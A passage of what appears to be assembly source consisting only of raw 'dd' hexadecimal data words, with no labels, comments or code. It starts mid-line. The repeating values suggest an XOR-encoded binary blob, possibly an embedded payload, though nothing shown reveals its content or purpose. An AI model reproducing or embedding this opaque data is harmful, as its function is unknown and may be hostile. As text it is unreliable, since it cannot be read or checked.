0EFCA09ADh, 61426D26h, 44321574h, 9BB8A155h, 95CFF53Dh dd 1126B3F4h, 1C41B7CFh, 9FB1DC87h, 173C6F87h, 0D1B61A66h dd 0AD321566h, 22321563h, 2D4DF60Dh, 8EB79886h, 0BC341B37h dd 2DCAC599h, 113201E0h, 883DFC66h, 0A1671566h, 86E6E58Bh dd 0F389C5B9h, 79298A62h, 72B79826h, 0DE341B37h, 0F952C599h dd 8832156Dh, 4BC9D1BDh, 832E3717h, 0F82A101Ah, 8832156Eh dd 0A10EE787h, 0EDD12E48h, 70FE9F3Ch, 0A43790A0h, 0BC641361h dd 223EFC06h, 1C851566h, 4F04A02h, 3101C97Ch, 0AF3D9C26h dd 11321566h, 30607D07h, 0C93D89CEh, 22321574h, 1132188Fh dd 0CC143566h, 451FDB4Ch, 0C29F683Bh, 0A4CDA9B9h, 8E3524CBh dd 47B41A06h, 44321566h, 0F853E2EDh, 88321577h, 50F7C301h dd 0B4F65DD0h, 0A32B24AAh, 0E21EEA9Ah, 5BB7981Bh, 2D341F1Dh dd 11321FE0h, 37547566h, 0FF5438DFh, 0DD5318CDh, 1E6075B6h dd 883215EEh, 9AB94A66h, 9BB79C07h, 0F8341278h, 8832156Ch dd 0C25D42EAh, 0CEA1CE75h, 953D7BB6h, 88321567h, 4DB7D29Eh dd 22341275h, 0F8321566h, 8832156Fh, 0F1857AE8h, 0D73E70C3h dd 14B7D332h, 0CD34124Ah, 443A9169h, 44521566h, 0CC33CDE7h dd 0D3D7493h, 4432156Bh, 22321D8Fh, 8BBDB266h, 85F47C8Ah dd 2D5B7D9Bh, 0A13D9B14h, 11321575h, 8835FC06h, 70FD1566h dd 476E0B01h, 0F8B3733Bh, 7753A0B7h, 432938D3h, 2226FC60h dd 0EAEB1566h, 0D6214E64h, 0BEB0A729h, 342540AAh, 3ADF3BD9h dd 0DBFA667h, 42352E42h, 2232198Fh, 5AD3DF66h, 72FF5E70h dd 0BB85FC6Bh, 0CBE2EA17h, 11321561h, 0D157B56Dh, 0CD27A0C1h dd 251F7CE3h, 91527560h, 6AB8AC94h, 9BB97307h, 27B7D307h dd 5234124Ah, 88321C8Fh, 5FA2566h, 0EAD48CBDh, 4F5AEFC1h dd 0E8AE720Dh, 18E09400h, 2DDB7506h, 0CF321566h, 0CA727DC0h dd 2EB8F26Fh, 0B275342Dh, 0C6B3E0CEh, 9C68CC1Dh, 0F1CD7407h dd 24350E4Bh, 0F1B27506h, 238C7466h, 25455388h, 22321B8Fh dd 7AED3066h, 0AEB20ED6h, 0FE744C2h, 0AF700E9Ch, 160931E3h dd 89B41A60h, 0B8321566h, 31DBC599h, 0C6321566h, 1B0521F9h dd 30183FAEh, 21C99DADh, 22A01E52h, 0DBB49B5h, 423C6FAFh dd 223BFC06h, 0F9771566h, 1A96FCAEh, 0C5510DE0h, 40664CB6h dd 94F4743Fh, 8E353963h, 4421FC32h, 37A81566h, 975D42EAh dd 64A1CE75h, 82227BB6h, 8DA6CFD0h, 791B7D93h, 9BDBFB04h dd 0EB321566h, 0C89A6A89h, 8C2ECB56h, 82EA8864h, 0A6D8B7B0h dd 97CDC4BBh, 17350E4Bh, 8EB01A06h, 0C5321566h, 7C676D94h dd 94BF741Ah, 8E352E42h, 44321B8Fh, 0A497A966h, 73E2E54Fh dd 0D061BBCAh, 0BB045E27h, 953D75B6h, 94BB74A5h, 8E3C6FABh dd 44321B8Fh, 80F68166h, 9310B2E6h, 0A667D6Ch, 246C005Ah dd 2226FC9Ah, 0AF41566h, 10A64828h, 0B25F105h, 0B1815113h dd 6AC72842h, 4E53862Eh, 431E10E3h, 0A23D5060h, 11321569h dd 88321F8Fh, 16DCB166h, 901E3257h, 71794C97h, 99DB2FD0h dd 25321566h, 70E53ECDh, 9789B166h, 120452B1h, 9531139Bh dd 1AF07D07h, 1FDBCF06h, 6B321566h, 84AFAF03h, 0AC61D195h dd 6FD149FAh, 954752Dh, 0FDE625ADh, 6255BAA6h, 3C87EA07h dd 8734127Dh, 44320FE7h, 9F897566h, 0F95C5019h, 8832156Bh dd 305708CEh, 5C68CC9Ah, 0F7124D1Ah, 5534BF7h, 430931E3h dd 2237FC60h, 92731566h, 7798610Dh, 0FC5475B6h, 0A3636040h dd 1AEC6784h, 74534C2Ch, 3EE390EFh, 0A1CA1368h, 161398DBh dd 0D3D1560h, 44321466h, 0E3B37306h, 0AE3D3B7Ch, 0DF47497h dd 42353963h, 23B51A23h, 0E4321566h, 0A84C930Eh, 45BF1A9Ch dd 0DE321566h, 0A1FA099h, 81DB1361h, 0A1321566h, 0BBF1FD50h dd 0D3190DD8h, 88209669h, 49DB1566h, 0AA321566h, 0D1234598h dd 0F669E81h, 6E5CDFD4h, 191690EBh, 953D1361h, 88321568h dd 44321C8Fh, 72C66D66h, 57D50091h, 58CDBDDAh, 91B79C93h dd 0CB341B1Ch, 11321568h, 0DAE6E3D5h, 0DD04A1A9h, 4D0284Dh dd 94F46FD0h, 8E353963h, 2CCAEC2Ah, 0C214C5A5h, 3C87EA93h dd 6134127Dh, 44321576h, 0C2092049h, 0D56F6BFBh, 9D93B2F3h dd 60884707h, 191690EBh, 0EECE1361h, 883DFCB6h, 9591566h dd 0DB56E28Fh, 0C54688A0h, 0D3462FEEh, 9DB79C3Bh, 42341B1Ch dd 1132128Fh, 0F9DFD966h, 0C7382A56h, 2ADB749Fh, 1E321567h dd 883206E4h, 443CFC66h, 71141566h, 62B9B1F6h, 57A189B5h dd 0B0C679AFh, 0E3790A0h, 0F8601361h, 8832156Eh, 74751411h dd 0DEDC7353h, 5BD6180Eh, 9CBF1ADAh, 0AD321566h, 22321569h dd 6F52FAECh, 466D954Ch, 76DEC06Eh, 0DD9E07E5h, 163004D3h dd 8835FC60h, 79D51566h, 0D3E98CA0h, 35B79866h, 7134125Dh dd 0C63DC599h, 22321570h, 11229769h, 83DB1566h, 40321566h dd 5CFE80A5h, 0AF939B98h, 0DBB95B6h, 423C6FB3h, 22369D69h dd 71521566h, 0DF47407h, 42353963h, 0A23D7534h, 11321565h dd 0E8EB9E00h, 44321D8Eh, 4BDC0866h, 6616E826h, 0E9534C0Eh dd 0E7A7D9Eh, 0DDCAB32Ah, 163004D3h, 84BC1A60h, 4B321566h dd 223213E1h, 11BA1A66h, 5321566h, 430931E3h, 0F2CDE060h dd 113E9C69h, 43D1566h, 44321560h, 22329C69h, 94BB1566h dd 8E3C6FBFh, 443F9A69h, 44521566h, 0C889F4E7h, 3AC4C4E7h dd 825375A0h, 251E10E3h, 973D4760h, 8832156Eh, 52F49506h dd 4358C8E6h, 5386FF0Eh, 883BFC9Bh, 3F681566h, 15BE6061h dd 0EEE9171Dh, 8F2938D3h, 2252E960h, 2D8FB0D9h, 113215EBh dd 0DBF7466h, 42352E42h, 0AE3D7506h, 11321566h, 373D7493h dd 94CD749Eh, 2232048Fh, 478A1066h, 572639D7h, 22A230A6h dd 0EAF5AE75h, 94BBF6A8h, 8E350A27h, 4432078Fh, 0B2D20D66h dd 0ED54B60Dh, 880D9335h, 20DC8B6Dh, 0E4B85160h, 161E10E3h dd 87C76260h, 44321EEBh, 7A8B7566h, 7766F60Fh, 0E97DF3DEh dd 0D39AB60Eh, 23B51A95h, 0ED321566h, 9333A099h, 0CA3D1361h dd 2232156Ah, 11349E69h, 3D1566h, 44321566h, 191690EBh dd 18DB1361h, 51321566h, 76FCFCF4h, 2D9334BBh, 1CDBC599h dd 0A321566h, 0B4B3619Eh, 664C679Eh, 0CAE6F024h, 8E2B90EFh dd 82CB1361h, 251E10E3h, 903D4760h, 88321570h, 4432048Fh dd 63001F66h, 34700FBh, 0F9B342F8h, 0A20B8B7Ah, 355A950Eh dd 1EB8C857h, 883219EFh, 4435FC66h, 0E18B1566h, 6258175Eh dd 0A587EA66h, 2434127Dh, 43F19E00h, 2A1690EBh, 0D9521361h dd 44321B8Eh, 0FE1F3E66h, 0A26682AAh, 0C19DED45h, 1F51CE25h dd 0FD851A38h, 10BD1A07h, 70321566h, 0FB52C599h, 1971F23Fh dd 985346D3h, 8F28F0E3h, 45BF1A60h, 0DB321566h, 11339469h dd 4ECE1566h, 431E10E3h, 27DB4360h, 9A321566h, 0EB6D1E79h dd 5B5F2C0Eh, 43C775B2h, 113E9669h, 73D1566h, 44321560h dd 22329369h, 0A4CD1566h dd 8E3524CBh, 5BB79893h, 2D341F1Dh, 113214E5h, 58CDEC66h dd 44379969h, 2D521566h, 9853D2D1h, 8F1990E3h, 0C1F4E060h dd 24353963h, 6B5AE021h, 7DB3C976h, 5F1FA099h, 0A83D1361h dd 1132156Ah, 8832128Fh, 0BF502C66h, 24433E1Bh, 2A1690EBh dd 9CDB1361h, 70321566h, 0DF5333C1h, 543E40BDh, 5487E996h dd 50E4F192h, 0DD375F2Fh, 1135FCB6h, 0B011566h, 0DC55CB7Bh dd 0D7B79CDAh, 0E434124Bh, 0A43790A0h, 4B751361h, 223212E3h dd 10B71A66h, 7D321566h, 8FB97506h, 0C05A7407h, 1EB81AD3h dd 883219EBh, 42B91A66h, 2D321566h, 113215EBh, 0A587EA66h dd 2434127Dh, 395A8BDCh, 0CE887362h, 0DBF748Fh, 42352E42h dd 223B9B69h, 71521566h, 24A1AD07h, 0BB53667Eh, 2223FCB6h dd 4CC21566h, 35243070h, 15648D57h, 40C0E2D1h, 1EF02F60h dd 883202ECh, 55B31A66h, 0CB321566h, 1132156Ah, 0AB40B0h dd 7176E2AFh, 423EEFA4h, 6BCB90EFh, 87DB1368h, 0F321566h dd 227504C7h, 22BD525h, 0C9DAC172h, 0C1F5311Dh, 24351633h dd 1132151Eh, 0E9C99E06h, 588BA8E5h, 2D321361h, 112A29E2h dd 53D7566h, 4432157Eh, 2232078Eh, 293A2E66h, 0BD2FED77h dd 377A4EC7h, 0FCAA3C98h, 4AB98A12h, 0BC0DFFE7h, 825307A9h dd 251E10E3h, 9C3D5960h, 88321574h, 4432188Fh, 0B1620566h dd 0FCF7755h, 835EB37Ch, 0AD5A58ACh, 2DEBCF7Ah, 113212E5h dd 89B61A66h, 0BD321566h, 391FA099h, 0EDCB1361h, 0B31690EBh dd 4B521361h, 223217EAh, 0F8537566h, 8832156Fh, 5FEB7AF6h dd 0C876731Dh, 0C1CD7412h, 0DBBEC9Fh, 423C6F83h, 22321A8Fh dd 3839166h, 8E4FD964h, 68DD93E5h, 7CE155Ch, 3D3790A0h dd 0E87E1361h, 0C63AFCE7h, 4A537986h, 0CC46CBA8h, 0A587EA93h dd 4B34127Dh, 223214EAh, 94BFE966h, 8E352E42h, 44339A69h dd 0DACA1566h, 1E52C599h, 883214E7h, 0CD53ED66h, 2C48FCE3h dd 16B31A60h, 87321566h, 443214E0h, 0A7F4E966h, 17353963h dd 8837FC2Ah, 27621566h, 4A5516FAh, 0A6B39759h, 0A587EA9Fh dd 2434127Dh, 0DB65C2EDh, 94BF743Fh, 8E352E42h, 44299A69h dd 0AC3D1566h, 11321573h, 8832058Fh, 5190D666h, 0ACF5C482h dd 83E046CEh, 233D4072h, 4BE2EA4Fh, 223235ECh, 2DB7566h dd 8F321566h, 8975A1C8h, 92F2F1D8h, 0A3905BE0h, 26B2C6B1h dd 0CD3D6FB9h, 22321566h, 0FCB79C07h, 87341B1Ch, 44321FE5h dd 2237FC66h, 55E71566h, 7DADB2F5h, 683790A0h, 0CB7E1361h dd 11321569h, 430E0DBFh, 0D4E59C56h, 5473287Eh, 0F86B9532h dd 88321577h, 0D7A851F0h, 0F168F9DBh, 59B9DE73h, 0C0796665h dd 42A7D25h, 33DBA649h, 84321566h, 0B61F9839h, 3DFD7813h dd 0F0DD59F8h, 7C22A50h, 88321A8Fh, 4603D266h, 0B179990Fh dd 541446FAh, 35DCFC14h, 5F1FA099h, 9D521361h, 62B83289h dd 883D9669h, 4EDB1566h, 52321566h, 28C0995Ch, 0B29AFAE4h dd 0C1BF74F2h, 24352E42h, 11321A8Fh, 92473866h, 2722E42Dh dd 0F957BFBAh, 0A0B889Bh, 0B4D19506h, 4BE2EA07h, 22321DE2h dd 13B11A66h, 0E8321566h, 51B01A07h, 0CB321566h, 11321576h dd 2B8B978Dh, 0C0A4CCAh, 0EDC83E0h, 8003C1CDh, 0F2DF90EFh dd 0C13D1368h, 22321573h, 113D9D69h, 82DB1566h, 43321566h dd 715C7029h, 9D40B37Eh, 8DB7D34Ch, 234124Ah, 24267D9Ah dd 923DAFB8h, 88321567h, 6987EA93h, 0DE34127Dh, 2A1690EBh dd 3D1361h, 44321567h, 2DE2EA9Fh, 113214EFh, 0DBBED66h dd 423C6F93h, 27B7D393h, 5634124Ah, 8822FC06h, 51081566h dd 32A5AD4Ah, 0BD0D970Fh, 0B22DE193h, 25CA0A57h, 0FE226F0Eh dd 1122FCE7h, 0EE151566h, 0ACF9012Eh, 5A960A78h, 0CEF153A2h dd 3DCD33DFh, 42350E4Bh, 6B7989Ah, 0ED34125Dh, 1CEC599h dd 4A48E8E3h, 31B21A60h, 0F8321566h, 88321568h, 0A977B6C6h dd 50F28336h, 3C57F970h, 81DB28C0h, 0A0321566h, 0E137DC50h dd 9A939002h, 0A43790A0h, 0BD751361h, 0A5BCB90Eh, 90547589h dd 0E86879B0h, 0E3C8AC00h, 2232128Eh, 4086C566h, 0C07CD9E3h dd 4B53743Ch, 223214EFh, 0A4CDEC66h, 8E350E4Bh, 0C554759Eh dd 43C261B0h, 2A1690EBh, 43D1361h, 4432156Dh, 2232138Fh dd 0FA55A266h, 717B85C8h, 0CDC7C599h, 2C4914E3h, 0AF547560h dd 0E9CEA82Ah, 683790A0h, 2D751361h, 11321DEAh, 8AB01A66h dd 24321566h, 85E07D07h, 1DBC1FCh, 12321566h, 41AAC3A6h dd 5DB9650Ah, 0D27D40B2h, 7DEC8310h, 5F1FA099h, 28DB1361h dd 51321566h, 5B89AAAFh, 79B09282h, 6B798D5h, 1E34125Dh dd 883214E8h, 94CDE966h, 22321E8Fh, 3E1AA966h, 284E33AEh dd 6F6E71CAh, 593790EFh, 943D1368h, 88321567h, 0C564759Ah dd 0BCB5E386h, 70C74E39h, 0A43790A0h, 0BD751361h, 0E30B110Eh dd 0A4CDEDDCh, 8E350E4Bh, 443E9569h, 0AE3D1566h, 11321560h dd 88329669h, 0C1BF1566h, 24352E42h, 14B21A06h, 37321566h dd 2AD1CAE5h, 22319D69h, 0AE3D1566h, 58CD74BFh, 44219C69h dd 0AB3D1566h, 1132156Bh, 88321D8Fh, 0B862A666h, 0AF428B73h dd 18B79C4Eh, 7D341B1Dh, 958F969Fh, 22341254h, 117C9069h dd 0DA521566h, 0C46D7406h, 0E45306BCh, 161E10E3h, 0E0CB5260h dd 0A4403801h, 0CBB37306h, 70CB33FAh, 931FA099h, 0C9CE1361h dd 250931E3h, 1CB91A60h, 61321566h, 4432156Eh, 14F67DFCh dd 6B18AD0Fh, 3052C599h, 57EC9884h, 2FB79C07h, 0E8341B1Dh dd 0A43790A0h, 0B8751361h, 0B81A40Eh, 1138FCE8h, 0C7351566h dd 5C617B03h, 8BE67C0h, 0A1FA099h, 5CA1361h, 430931E3h dd 23BE1A60h, 0E8321566h, 3DC599h, 4432157Fh, 0CAE29E06h dd 11321569h, 544A5967h, 48DE9ACFh, 0E4646234h, 4E8FD64Ah dd 99B79C07h, 0BD341B1Dh, 0E3790A0h, 0F8711361h, 88321561h dd 0D811A28Bh, 4AE4B8A5h, 0D1445FC1h, 0A587EA9Ah, 2434127Dh dd 0E8B34CD3h, 16AC682Ch, 0ACB79807h, 0AD34125Dh, 22321575h dd 0DE7F5CB7h, 0CB062EBFh, 0B510D172h, 3A526C4Fh, 0EE17CE4Bh dd 373D75B6h, 4420FCA0h, 776D1566h, 3B0FB63Eh, 0A1F976ABh dd 0FF6D46E5h, 365F6DD5h, 4B79C07h, 74341B1Dh, 4432138Fh dd 34B94C66h, 0D723A0EDh, 8F1E10E3h, 2CC75960h, 0D954798Dh dd 0E88D1A06h, 7753FEECh, 432914D3h, 0AFCBEC60h, 160931E3h dd 883AFC60h, 0FC3F1566h, 0FFAED068h, 1EDB851Dh, 5D321566h dd 10924130h, 3F5D817Ch, 4E16F0F4h, 58CDB0E4h, 4432068Fh dd 5C037E66h, 550A70EFh, 285B1B32h, 39335875h, 0B3B1128Fh dd 11339869h, 1C71566h, 4A49BCE3h, 0A7F4EC60h, 17353963h dd 89BD1A22h, 0B8321566h, 51BC400Eh, 0A4CDE0DDh, 8E350E4Bh dd 0FBC29E06h, 78F0267Fh, 35B79807h, 8734125Dh, 44321DE5h dd 20B61A66h, 71321566h, 70E2EA07h, 3F2B90EFh, 0E4CE1368h dd 161E10E3h, 9BDB5660h, 44321566h, 0D4501766h, 0C49DE1A3h dd 52DC49DFh, 2D8BFDFAh, 0DE5A5E8Fh, 718E9B08h, 8832078Fh dd 0F466F366h, 0B3D0C32Ch, 0AEBBFD2Ah, 306FDF1Dh, 4B9F2718h dd 223210E7h, 4672AD66h, 7753097Ch, 432938D3h, 2DCA7560h dd 0E453E3D1h, 0B31690EBh, 0BBCB1361h, 223FFCB6h, 0A6FB1566h dd 3EA758B9h, 0A6DD8989h, 0AB955356h, 1F4908E3h, 80B81A60h dd 4B321566h, 223217ECh, 0D7537566h, 8F1E10E3h, 2CC74660h dd 0E4222BCCh, 1132198Fh dd 0C7223866h, 20E30B2h, 0A321216Dh, 3C87EA73h, 0E834127Dh dd 0ADE19E00h, 22321574h, 0ADAC3CDAh, 48BF0DA6h, 0F0840DE5h dd 93FD00C9h, 9C53532Dh, 8F0931E3h, 4B527560h, 223215EBh dd 70537566h, 8832078Eh, 51829066h, 0F497D90Ch, 2ADB2C0Dh dd 0BD3E3042h, 126EAFFCh, 0DD534D3Fh, 113CFCB6h, 2F6A1566h dd 80663FECh, 43353284h, 666FD6EAh, 0F31390EFh, 0C7CB1368h dd 253914DBh, 953D1560h, 88321690h, 44389069h, 42521566h dd 11B61A07h, 0E9321566h, 1564ED06h, 0E4534E3Ch, 161E10E3h dd 0EE525360h, 24F7AAD9h, 2232078Fh, 0A6BA3266h, 0C1930632h dd 0C98741Bh, 0F9DC0A6Eh, 70E5AD8Ah, 46037D07h, 0BD52EFF0h dd 43F49E00h, 0A1FA099h, 61521361h, 44321563h, 1E93495Ch dd 70E59E44h, 5F851A06h, 25C9AA69h, 191690EBh, 0EEC71361h dd 8839FCB6h, 42B01566h, 23AF803Ch, 0B96DDF4Bh, 0F5B79CACh dd 0B1341B1Dh, 27B7D393h, 5734124Ah, 0FEDD9406h, 0AC3034ACh dd 22321572h, 0F4E551EFh, 918A9B31h, 4C6464BDh, 0FAB08D2Bh dd 0FFF9774Fh, 0A406AE00h, 925A743Eh, 2DCEB25Ch, 11320AEDh dd 32547566h, 50DBDEF7h, 0D6321566h, 9A0DA2CFh, 0FFD1366Ah dd 95657B87h, 62B13D96h, 70697DF1h, 931FA099h, 0C9CB1361h dd 250931E3h, 19BA1A60h, 87321566h, 443217EFh, 0DD537566h dd 113EFCB6h, 0E571566h, 4B3BAF8Fh, 0B48C7A79h, 94BBC230h dd 8E3C6EEBh, 4432058Fh, 352EAD66h, 43D1C531h, 0C32ACBB2h dd 0F5C08119h, 27B7D3D6h, 5734124Ah, 88321F8Fh, 2DE20866h dd 76DBCD24h, 79EC473Bh, 1ACEB166h, 4421FC9Ah, 2BA21566h dd 44170A43h, 3135BAD0h, 0A9C52DD8h, 0F17F25Ch, 3C87EA00h dd 8734127Dh, 44321DE6h, 20B61A66h, 71321566h, 0ACB79807h dd 4B34125Dh, 223204E3h, 113EFC66h, 0E91D1566h, 0A7A0CE42h dd 3B1E3172h, 0C1CDD141h, 474BAE06h, 0CD5340EDh, 2C4984E3h dd 1EBA1A60h, 61321566h, 4432156Ch, 3713A8Fh, 0F5BE1E9h dd 93D58C8h, 44321561h, 0C9B37306h, 0D753E7B5h, 8F1E10E3h dd 2CCA5360h, 0D4E65A0Ch, 128B7306h, 3DCD741Ah, 42350E4Bh dd 6B7989Ah, 0F834125Dh, 8832156Ch, 7170E1B4h, 9A6D4F16h dd 0C1CDEFB6h, 8832048Fh, 3EF46966h, 477632FFh, 4640A693h dd 0A9878EA3h, 0C1BB116Fh, 243C6EF3h, 1132058Fh, 0A11F3366h dd 0A5A81CBh, 0D6CD016Ah, 4164DCFFh, 8DB7D31Fh, 234124Ah dd 22321B8Fh, 73E2E566h, 0D061BBCAh, 2045E27h, 425578BBh dd 0F9B3CBEDh, 0CF0BF1BFh, 14D57D07h, 2DDB81ABh, 1D321566h dd 0E20C5DA6h, 50050A41h, 2EEA3ADEh, 0A4CD1998h, 8E350E4Bh dd 0ADC77506h, 22321561h, 59403F86h, 0E9EC3586h, 4432188Fh dd 63AC2166h, 3F839D37h, 7EC58EE9h, 4B534D66h, 22321AEEh dd 1138FC66h, 0A4C21566h, 740717A3h, 0BC694AD5h, 2A1690EBh dd 9BDB1361h, 3B321566h, 8611AA67h, 0D3842B1Ah, 0F0EF665Bh dd 52BD6681h, 0DB522E41h, 11319F69h, 3541566h, 94CD7491h dd 0A3B79C9Fh, 0F8341B1Dh, 88321568h, 547867AAh, 57757904h dd 45404BAAh, 0DF4B68Ah, 42353963h, 2238FC20h, 40891566h dd 0A456A944h, 0C008AD3Fh, 462E0Eh, 19B31AD7h, 0E8321566h dd 0CEACE5E7h, 0DD530FFFh, 162938D3h, 0DBFE960h, 42352E42h dd 22339969h, 71CE1566h, 0B201AD00h, 4432198Eh, 0F64A0166h dd 5F3F440Ah, 7608179h, 1DC89EF9h, 42E2EA07h, 5865CCE7h dd 4EB93D63h, 0C1B79C07h, 42341B1Dh, 0FDD09506h, 88321D8Fh dd 215B9866h, 70CDD7BEh, 0A85474DEh, 0E85328E8h, 44369669h dd 9C541566h, 0DFB8981Eh, 8DB7D307h, 234124Ah, 2232048Fh dd 3E4AC066h, 0B28DD77Eh, 32108637h, 90FA7E91h, 0FC5A7553h dd 87ED6C8Ch, 44320DE4h, 2DDB7566h, 2B321566h, 3F32AED8h dd 16EEBBAh, 42D9C466h, 486312FCh, 883EFC07h, 29171566h dd 0CFB65319h, 4C934A3Fh, 3DCDF43Bh, 42350E4Bh, 6B7989Ah dd 0E934125Dh, 8752C599h, 0CD53CCD1h, 2C499CE3h, 6BC1A60h dd 0E8321566h, 49DA4B36h, 4E321566h, 0F69CAF3h, 0FE91EE8Eh dd 0E9A19FD0h, 9FB17438h, 173527B7h, 28B71A66h, 0B8321566h dd 0E3790A0h, 1E611361h, 883214E0h, 1A5AEC66h, 0DEFCAB86h dd 11321E8Fh, 0AB8EFA66h, 1DCFEA35h, 17EDFA69h, 0A1FA099h dd 87DB1361h, 9D321566h, 274213BEh, 58CF7A92h, 9AD366E7h dd 4BDB5834h, 0B4321566h, 0C10EDA0Ch, 0A616FB38h, 82D580E2h dd 0A7BFEF05h, 17352E42h, 8826FC06h, 0BD7C1566h, 215BD61Eh dd 99C81344h, 4FF0C576h, 20F724Fh, 7152BB8Ch, 1120FD3Dh dd 6FC1566h, 849F4897h, 43A85785h, 33348FCFh, 2554A7CDh dd 0BB53743Fh, 608875B6h, 70791B22h, 0F31790EFh, 82CE1368h dd 251E10E3h, 2DB5260h, 0BF321566h, 0E804549Bh, 114A5C44h dd 7850F2D7h, 0F762B94Ah, 0C35A8D65h, 0CBF5A438h, 11321563h dd 638FF57Dh, 6987EA0Ah, 0CB34127Dh, 11321572h, 8919F848h dd 0C35D4BD5h, 177CD6C1h, 6AB23372h, 3B2D9673h, 60B7989Ah dd 4234125Dh, 1132018Fh, 4A809A66h, 8DD8C687h, 0AA05E6E7h dd 661841h, 36E42B7Ah, 0BDB946D9h, 0F2CD743Ch, 0FFFF9506h dd 0E853C4EDh, 4432188Eh, 0C9FF3766h, 24B15EFAh, 82CD3F51h dd 95B90725h, 0C0B37338h, 9853ABF2h, 86493CE3h, 50B11A60h dd 42321566h, 1BDA7406h, 65321566h, 8E440A86h, 9AC883ACh dd 1E534F43h, 883203E3h, 54B61A66h, 0CB321566h, 1132156Dh dd 0F218AD0Fh, 77D44793h, 0A10E9181h, 1600C4DBh, 0D3D1560h dd 44321511h, 223E9069h, 9B3D1566h, 88321560h, 44329269h dd 0A7F41566h, 17353963h, 8834FC21h, 5FF81566h, 96AAFA14h dd 734C100Eh, 84B31A80h, 4B321566h, 223213E8h, 11BC1A66h dd 77321566h, 432938D3h, 36B31A60h, 0F8321566h, 88321569h dd 9090C5D6h, 0C45BD908h, 583298BEh, 5B753C8h, 430931E3h dd 0F2CDE960h, 3CB79C9Eh, 0E8341B1Dh, 0A1F49400h, 4273ADE1h dd 0D75374B4h, 8F1E10E3h, 24525660h, 223FFC93h, 0D6051566h dd 0FB1109E2h, 646B510Dh, 4300F7F7h, 1132128Eh, 0DDFEEF66h dd 6A8D0371h, 73E19400h, 79534D61h, 1A481C90h, 47B81A9Eh dd 42321566h, 0A4CD749Eh, 8E350E4Bh, 443DFD06h, 4DDF1566h dd 754A513Ah, 4C3BF47Eh, 7FC9B5E7h, 0CA644E98h, 1132156Eh dd 554FD892h, 24556374h, 0AF534D3Ch, 160931E3h, 58CDE060h dd 44321D8Fh, 1A9CB666h, 76C1A421h, 0B9B79CF1h, 4B341B1Dh dd 223214E6h, 94F4E066h, 8E353963h, 443DFC25h, 0D7A21566h dd 0B1F9D996h, 0E9F12543h, 0A2AF0D96h, 0B5127D52h, 7052E947h dd 931FA099h, 0FE521361h, 5EB865F2h, 0E453E5EDh, 0B31690EBh dd 0BBCE1361h, 24DB75B6h, 98321566h, 74B4EB20h, 46BC1A15h dd 0A8321566h, 94BB74A4h, 8E3C6E53h, 958F969Fh, 22341254h dd 11E39069h, 4EC71566h, 431E10E3h, 4ACA5660h, 9A32BD65h dd 0A08D7306h, 443BFC5Ah, 53091566h, 53FF36D0h, 0E9F25BB2h dd 6987EA9Ah, 2D34127Dh, 113219EBh, 8EB91A66h, 4B321566h dd 223215E1h, 35B79866h, 7D34125Dh, 1752C599h, 7DE39E00h dd 708FCCE6h, 0F30F90EFh, 0B1CA1368h, 0E3790A0h, 71711361h dd 0CC0FAC00h, 4B637507h, 223215E6h, 953D4A66h, 88321560h dd 44329F69h, 4A531566h, 0F46923B3h, 88389769h, 41DB1566h dd 8D321566h, 0C1C19997h dd 931FA099h, 4BCB1361h, 223214E5h, 94BFED66h, 8E352E42h dd 8990AC06h, 953D2DB3h, 0C1CD74B7h, 61F09E06h, 44321560h dd 0B1EC6415h, 9853DCC7h, 86492CE3h, 9FB37560h, 34709941h dd 4154E2E7h, 4E5303B2h, 431E10E3h, 9A525660h, 688B406h dd 0E9CDAA69h, 0EE00F40Eh, 9B61758Ch, 16348074h, 89BE1A3Fh dd 0B8321566h, 0F87EA07h, 7134127Dh, 553C6EDh, 430931E3h dd 15887560h, 0F8091C79h, 8832156Fh, 0B4C88B59h, 0BCA423FDh dd 0C1CD7455h, 8BB41A06h, 0C4321566h, 31DB5DB7h, 8321566h dd 413E8CF7h, 6F12A6E5h, 6E9FC48Ch, 3877C2C2h, 153EB13h dd 4A4954E3h, 223CFC60h, 3C91566h, 0F474B2F2h, 15D00326h dd 565D204Dh, 3D3790A0h, 61711361h, 4432156Dh, 0DB12E49Dh dd 62F9286Ch, 0E075F1F5h, 0C0C3B951h, 0F87EA9Ah, 0E434127Dh dd 0D7634706h, 0C1BF743Ch, 24352E42h, 11339C69h, 87CB1566h dd 443205E4h, 28B21A66h, 0F8321566h, 88321563h, 0EFC27F67h dd 0CBE2EA0Eh, 1132156Ch, 3D07DCE0h, 590C90FDh, 0A7BB72CDh dd 173C6E23h, 99DB4306h, 4B321566h, 164CFCEh, 37D7D14Bh dd 0F9F47051h, 0ADEEAD3Dh, 4399A33Ch, 3D3790A0h, 0E87D1361h dd 44399869h, 24DB1566h, 6A321566h, 0DB32A232h, 93B373ACh dd 4A53A9A1h, 860785B2h, 88359669h, 24521566h, 0EC851A07h dd 3C87EA07h, 8734127Dh, 44321FE0h, 0CDB37566h, 0F757942h dd 553C2EDh, 430931E3h, 223BFC60h, 4B6C1566h, 4BEF211Bh dd 24790B9Ah, 0F8B2D7EDh, 0C1CD74BAh, 0FA8D7306h, 42BA1A88h dd 2D321566h, 113215EFh, 0DBB7466h, 423C6E2Fh, 2232048Fh dd 0C54E0F66h, 0C94A8236h, 2110E58Dh, 586C11A5h, 1DDBB3A7h dd 0C1321566h, 16C1B3EDh, 75BFACE2h, 0D77C7B80h, 8F1E10E3h dd 2CCA5A60h, 0DB5C1B64h, 1120FC06h, 70151566h, 0F08C08C5h dd 37BA80B1h, 3A5DE754h, 1CB66ADDh, 4432128Eh, 0B8858B66h dd 9D6A4DA2h, 0D1F2A269h, 6987EA07h, 0CB34127Dh, 1132156Ah dd 0A4DF7C23h, 0D033C7D6h, 0E6FCF68Ah, 79C09406h, 87346846h dd 443210EEh, 144EAA66h, 9C5374F6h, 8F0931E3h, 4421FC60h dd 6A271566h, 0A06EBF1Bh, 0B7C70C9Ch, 0E1EDCA9Fh, 0FC4FC121h dd 1EE2EA21h, 88321BEBh, 443BFC66h, 0C3B71566h, 6BB5D90Ah dd 0E82FFD46h, 44309F69h, 79621566h, 5CB79C07h, 0E8341B1Dh dd 8253E99Ah, 251E10E3h, 1BDB5860h, 49321566h, 0BEFBC059h dd 0CB5933A7h, 1E607533h, 396BE5D1h, 0D5A7477h, 42FA221Fh dd 11321D8Fh, 0E8F5F666h, 79954480h, 97CD7460h, 17350E4Bh dd 883BFC9Fh, 0DE6C1566h, 4D659973h, 9CE906E0h, 8F0931E3h dd 45B11A60h, 0DA321566h, 943DC599h, 8832157Eh, 4432068Fh dd 14870B66h, 3DF02A5Eh, 0B6BFC359h, 0F323A433h, 1419A951h dd 6A6790EFh, 8DDB1368h, 3A321566h, 1C021F5Ch, 